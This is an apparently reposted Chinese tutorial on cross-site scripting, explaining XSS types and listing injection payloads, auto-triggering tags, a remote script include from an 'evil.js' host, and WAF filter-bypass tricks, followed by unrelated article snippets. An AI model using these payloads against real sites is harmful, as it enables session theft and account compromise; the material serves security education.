浅谈xss

news2025/2/23 18:25:29

XSS 简介

XSS,全称Cross Site Scripting,即跨站脚本攻击,是最普遍的Web应用安全漏洞。这类漏洞能够使得攻击者嵌入恶意脚本代码到正常用户会访问到的页面中,当正常用户访问该页面时,则可导致嵌入的恶意脚本代码的执行,从而达到恶意攻击用户的目的。需要强调的是,XSS不仅仅限于JavaScript,还包括flash等其它脚本语言。根据攻击代码的工作方式,XSS可以分为反射型的XSS、存储型的XSS和DOM型的XSS。

反射型

反射型的XSS是非持久化的,攻击者事先制作好攻击链接,需要欺骗用户自己去点击链接才能触发XSS代码,但是服务器中没有这样的页面和内容,一般容易出现在搜索页面。

存储型

存储型的XSS是持久化的,代码是存储在服务器中的,如在个人信息或发表文章等地方,加入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,每当有用户访问该页面的时候都会触发代码执行。这种XSS非常危险,容易造成蠕虫,大量盗窃cookie。

DOM型

DOM型的XSS是基于文档对象模型Document Objeet Model,DOM)的一种漏洞。DOM是一个与平台、编程语言无关的接口,它允许程序或脚本动态地访问和更新文档内容、结构和样式,处理后的结果能够成为显示页面的一部分。DOM中有很多对象,其中一些是用户可以操纵的,如uRI ,location,refelTer等。客户端的脚本程序可以通过DOM动态地检查和修改页面内容,它不依赖于提交数据到服务器端,而从客户端获得DOM中的数据在本地执行,如果DOM中的数据没有经过严格确认,就会产生DOM XSS漏洞。例如服务器端经常使用document.boby.innerHtml等函数动态生成html页面,如果这些函数在引用某些变量时没有进行过滤或检查,就会产生DOM型的XSS。DOM型XSS可能是存储型,也有可能是反射型。

一些常用的标签与属性

下面我列举的标签大部分是可以自动触发js代码的,无需用户去交互,大部分情况下我们也是希望是自动触发而不是等用户去触发。

scirpt 标签

<script> 标签用于定义客户端脚本,比如 JavaScript。

<script>alert(1);</script>
<script>alert("xss");</script>

img 标签

<img> 标签定义 HTML 页面中的图像。

<img src=1 οnerrοr=alert(1);>
<img src=1 οnerrοr=alert("xss");>

input 标签

<input> 标签规定了用户可以在其中输入数据的输入字段。

onfocus 事件在对象获得焦点时发生:

<input οnfοcus=alert(1);>

竞争焦点,从而触发onblur事件:

<input οnblur=alert(1) autofocus><input autofocus>

input 标签的 autofocus 属性规定当页面加载时 <input> 元素应该自动获得焦点。可以通过autofocus属性自动执行本身的focus事件,这个向量是使焦点自动跳到输入元素上,触发焦点事件,无需用户去触发:

<input οnfοcus="alert(1);" autofocus>

details 标签

<details> 标签通过提供用户开启关闭的交互式控件,规定了用户可见的或者隐藏的需求的补充细节。ontoggle 事件规定了在用户打开或关闭 <details> 元素时触发:

<details οntοggle=alert(1);>

使用details 标签的 open 属性触发ontoggle事件,无需用户去点击即可触发:

<details open οntοggle=alert(1);>

svg 标签

<svg> 标签用来在HTML页面中直接嵌入SVG 文件的代码。

<svg οnlοad=alert(1);>

select 标签

<select> 标签用来创建下拉列表。

<select οnfοcus=alert(1)></select>

通过autofocus属性规定当页面加载时元素应该自动获得焦点,这个向量是使焦点自动跳到输入元素上,触发焦点事件,无需用户去触发:

<select οnfοcus=alert(1) autofocus>

iframe 标签

<iframe> 标签会创建包含另外一个文档的内联框架。

<iframe οnlοad=alert(1);></iframe>

video 标签

<video> 标签定义视频,比如电影片段或其他视频流。

<video><source οnerrοr=alert(1)>

audio 标签

<audio> 标签定义声音,比如音乐或其他音频流。

<audio src=x  οnerrοr=alert(1);>

body 标签

<body> 标签定义文档的主体。

<body οnlοad=alert(1);>

onscroll 事件在元素滚动条在滚动时触发。我们可以利用换行符以及autofocus,当用户滑动滚动条的时候自动触发,无需用户去点击触发:

<body
οnscrοll=alert(1);><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>

textarea 标签

<textarea> 标签定义一个多行的文本输入控件。

<textarea οnfοcus=alert(1); autofocus>

keygen 标签

<keygen autofocus οnfοcus=alert(1)> //仅限火狐

marquee 标签

<marquee onstart=alert(1)></marquee> //Chrome不行,火狐和IE都可以

isindex 标签

<isindex type=image src=1 οnerrοr=alert(1)>//仅限于IE

利用 link 远程包含 JavaScript 文件

<link> 标签定义文档与外部资源的关系。在无CSP的情况下才可以使用:

<link rel=import href="http://47.xxx.xxx.72/evil.js">

利用 JavaScript 伪协议

javascript: 这个特殊的协议类型声明了URL的主体是任意的javascript代码,它由javascript的解释器运行。当浏览器装载了这样的URL时,并不会转向某个URL,而是执行这个URL中包含的javascript代码,并把最后一条javascript语句的字符串值作为新文档的内容显示出来。

a 标签

<a href="javascript:alert(1);">xss</a>

iframe 标签

<iframe src=javascript:alert(1);></iframe>

img 标签

<img src=x οnerrοr=alert(1)>
<img src=javascript:alert(1)>    //IE7以下

form 标签

<form action="Javascript:alert(1)"><input type=submit>

XSS 常见绕过姿势

绕过空格过滤

当空格被过滤了时,我们可以用 / 来代替空格:

<img/src="x"/οnerrοr=alert(1);>

也可以:

<img/src="x"οnerrοr=alert(1);>

绕过引号过滤

如果是html标签中,我们可以不用引号。如果是在js中,我们可以用反引号代替单双引号:

<img src=x οnerrοr=alert(`xss`);>

绕过括号过滤

当括号被过滤的时候可以使用throw来绕过。throw 语句用于当错误发生时抛出一个错误。

<img src=x onerror="javascript:window.onerror=alert;throw 1">
<a onmouseover="javascript:window.onerror=alert;throw 1>

绕过关键字过滤

大小写绕过

<sCRiPt>alert(1);</sCrIpT>
<ImG sRc=x onerRor=alert(1);>

双写绕过

有些waf可能会只替换一次且是替换为空,这种情况下我们可以考虑双写关键字绕过

<scrscriptipt>alert(1);</scrscriptipt>
<imimgg srsrcc=x οnerrοr=alert(1);>

字符串拼接绕过

利用eval()函数

与PHP的eval()函数相同,JavaScript的eval()函数也可以计算 JavaScript 字符串,并把它作为脚本代码来执行。

<img src="x" οnerrοr="a='aler';b='t';c='(1)';eval(a+b+c)">
<img src="x" οnerrοr="a=`aler`;b=`t`;c='(`xss`);';eval(a+b+c)">
// 在js中,我们可以用反引号代替单双引号
利用top
<script>top["al"+"ert"](`xss`);</script>
<script>top["al"+"ert"]("xss");</script>

XSS 输出点总结

WAF最大的问题,在于不知道输出的位置,导致攻击者根据具体环境以及具体输出的标签类型便可以绕过。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1027988.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

vue项目嵌套安卓壳子打包apk

1.确保你的项目可以正常运行 2.vue.config.js publicPath 添加一个 publicPath:./, 3.需要下载一个HBuilder X编辑器 下载地址&#xff1a;HBuilderX-高效极客技巧 4.新建一个项目 选择5App 创建完成之后删除掉红框内的文件 只保留一个manifest.json 5.把自己要变成ap…

iTOP-RK3588开发板更新RKNN模型

RKNN 是 Rockchip NPU 平台(也就是开发板)使用的模型类型&#xff0c;是以.rknn 结尾的模型文件。 RKNN SDK 提 供 的 demo 程 序 中 默 认 自 带 了 RKNN 模 型 &#xff0c; 在 RKNN SDK 的 examples/rknn_yolov5_demo/model/RK3588/目录下&#xff0c;如下图所示&#xff…

远程拷贝Windows上的文件到Linux指定的文件夹

Linux系统电脑之间使用scp命令拷贝十分方便&#xff0c;但是对于windows和Linux之间的远程拷贝就没那么方便&#xff0c;特别是对于车载嵌入式的开发人员&#xff0c;很多软件或者license没有对应的Linux版本&#xff0c;需要远程刷写软件来回切换十分不方便&#xff0c;今天介…

C++ Primer Plus第八章笔记

内联函数 编译过程的目标是可执行程序&#xff08;由一组机器语言指令组成&#xff09;。运行程序时&#xff0c;操作系统将指令载入到计算机内存中&#xff0c;则每条指令都有其特定的内存地址。 内联函数的编译代码与其它程序代码内联&#xff0c;编译器就使用相应的函数代…

亚运之城:杭州的搞钱之王 首富都得靠边站

作者&#xff1a;积溪 简评&#xff1a;这届亚运会&#xff0c;杭州成了显眼包&#xff0c;也卷成了蚊香&#xff0c;这背后杭州的搞钱实力&#xff0c;究竟有多牛&#xff1f;#杭州亚运会 #马云 #阿里 手机可以“打”公交 10分钟就能到 还只要1块钱&#xff1f; 这届亚运…

数据分析方法-对比分析和用户画像(文末送书)

&#x1f935;‍♂️ 个人主页&#xff1a;艾派森的个人主页 ✍&#x1f3fb;作者简介&#xff1a;Python学习者 &#x1f40b; 希望大家多多支持&#xff0c;我们一起进步&#xff01;&#x1f604; 如果文章对你有帮助的话&#xff0c; 欢迎评论 &#x1f4ac;点赞&#x1f4…

App Store上线规范及流程

上线一个应用到 App Store 需要遵循苹果的规范和流程&#xff0c;以确保应用的质量和安全性。以下是上线应用到 App Store 的一般规范和流程&#xff0c;希望对大家有所帮助。北京木奇移动技术有限公司&#xff0c;专业的软件外包开发公司&#xff0c;欢迎交流合作。 1. 开发和…

基于微信小程序的学生签到系统设计与实现(源码+lw+部署文档+讲解等)

前言 &#x1f497;博主介绍&#xff1a;✌全网粉丝10W,CSDN特邀作者、博客专家、CSDN新星计划导师、全栈领域优质创作者&#xff0c;博客之星、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java、小程序技术领域和毕业项目实战✌&#x1f497; &#x1f447;&#x1f3fb;…

ETHERCAT转ETHERCAT协议网关

JM-ECAT-ECAT 产品介绍 JM-ECAT-ECAT是自主研发的一款ETHERCAT从站功能的通讯网关。该产品主要功能是将2个ETHERCAT网络连接起来。 本网关连接到ETHERCAT总线中做为从站使用。 产品参数 技术参数 l 网关做为ETHERCAT网络的从站&#xff0c;可以连接倍福、欧姆龙、基恩士等厂…

带你深入学习Redis主从复制,学习心跳包、主从结构,全量复制、部分复制等

目录 1、单点问题 2、理解主从复制 3、配置Redis主从结构 3.1、在一个云服务器上如何启动多个Redis服务器&#xff1a; 3.2、配置主从复制 3.3、查看是否配置成功 3.4、补充&#xff1a;redis服务器启动和停止的命令&#xff0c;需要搭配使用 3.5、查看主从结构信息 3…

源码级揭秘Linux内核启动流程

哈喽&#xff0c;我是子牙&#xff0c;一个很卷的硬核男人。深入研究计算机底层、Windows内核、Linux内核、Hotspot源码……聚焦做那些大家想学没地方学的课程 今天这篇文章给大家分享一下Linux内核的启动流程。为什么要分享这个话题呢&#xff1f;所谓万丈高楼平地起&#xf…

可口可乐用新的“Y3000”口味拥抱有争议的人工智能图像生成器

可口可乐公司已经迈出了一大步&#xff0c;用它的释放&#xff1b;排放&#xff1b;发布据报道&#xff0c;可口可乐Y3000零糖“限量版”饮料是与人工智能共同创造的。它未来的名字让人想起3000年的味道(还有977年)&#xff0c;但它的营销依赖于人工智能从2023年产生的图像——…

Vue之路由及Node.js环境搭建(一起探索新事物)

目录 ​编辑 前言 一、Vue之路由 1.路由简介 1.1 什么是路由 1.2 什么是SPA 1.3 SPA的实现思路 1.4 使用路由的优势 2. 案例演示 2.1 导入所需的js文件 2.2 编写案例代码&#xff08;模拟页面跳转&#xff09; 二、Vue之node.js 1. node.js简介 1.1 什么是node.j…

玫瑰代码||逐字打印字体||中秋快乐

关注微信公众号「ClassmateJie」 更多惊喜等待你的发掘 直接看实现效果 电脑端 手机端 使用场景 发给女神告白~ 提供一些文案 “自从遇见你&#xff0c;我的世界变得不一样了。每一天都因为你而变得特别。我想告诉你&#xff0c;我喜欢你&#xff0c;不仅仅是因为你的美丽&am…

使用 PyTorch 的计算机视觉简介 (2/6)

一、说明 在本单元中&#xff0c;我们从最简单的图像分类方法开始——一个全连接的神经网络&#xff0c;也称为感知器。我们将回顾一下 PyTorch 中定义神经网络的方式&#xff0c;以及训练算法的工作原理。 二、数据加载的实践 首先&#xff0c;我们使用 pytorchcv 助手来加载…

民安智库(第三方市场调查公司)开展景区游客满意度调查

为什么要开展景区游客满意度调查 景区的经营管理是一个动态的过程&#xff0c;需要不定期的地进行调查&#xff0c;让管理者了解景区管理的不足之处&#xff0c;并不断地改善和提高管理水平&#xff0c;以保证经营目标的顺利完成。 景区旅游要想真正地成为可持续发展的经济产…

人类的生成式与机器的生成式

生成式是指一种基于模型的方法&#xff0c;通过给定的条件或输入&#xff0c;生成与之相符合的输出。在自然语言处理领域中&#xff0c;生成式模型通常用于生成文本、文章、对话等自然语言序列。 生成式模型的训练主要涉及两个步骤&#xff1a;学习和生成。在学习阶段&#xff…

【每日一题】2603. 收集树中金币

文章目录 Tag题目来源题目解读解题思路方法一&#xff1a;拓扑排序 写在最后 Tag 【拓扑排序】【树】 题目来源 2603. 收集树中金币 题目解读 有一个有 n 个节点的无相无根图&#xff0c;节点编号从 0 到 n-1。有一个表示图中节点间连接关系的数组 edges&#xff0c;长度为 …

目前最流行的无人机摄影测量软件有哪些?各有什么特点?

文章目录 1. Pix4Dmapper2. PhotoScan3. ContextCapture4. 天工GodWork5. Trimble Inpho6. IMAGINE Photogrammetry7. 大疆智图 推荐阅读&#xff1a;《无人机航空摄影测量精品教程》 包括&#xff1a;无人机航测外业作业流程&#xff08;像控点布设、航线规划、仿地飞行、航拍…

滚雪球学Java(30):多维数组:定义和初始化一次搞定

&#x1f3c6;本文收录于「滚雪球学Java」专栏&#xff0c;专业攻坚指数级提升&#xff0c;助你一臂之力&#xff0c;带你早日登顶&#x1f680;&#xff0c;欢迎大家关注&&收藏&#xff01;持续更新中&#xff0c;up&#xff01;up&#xff01;up&#xff01;&#xf…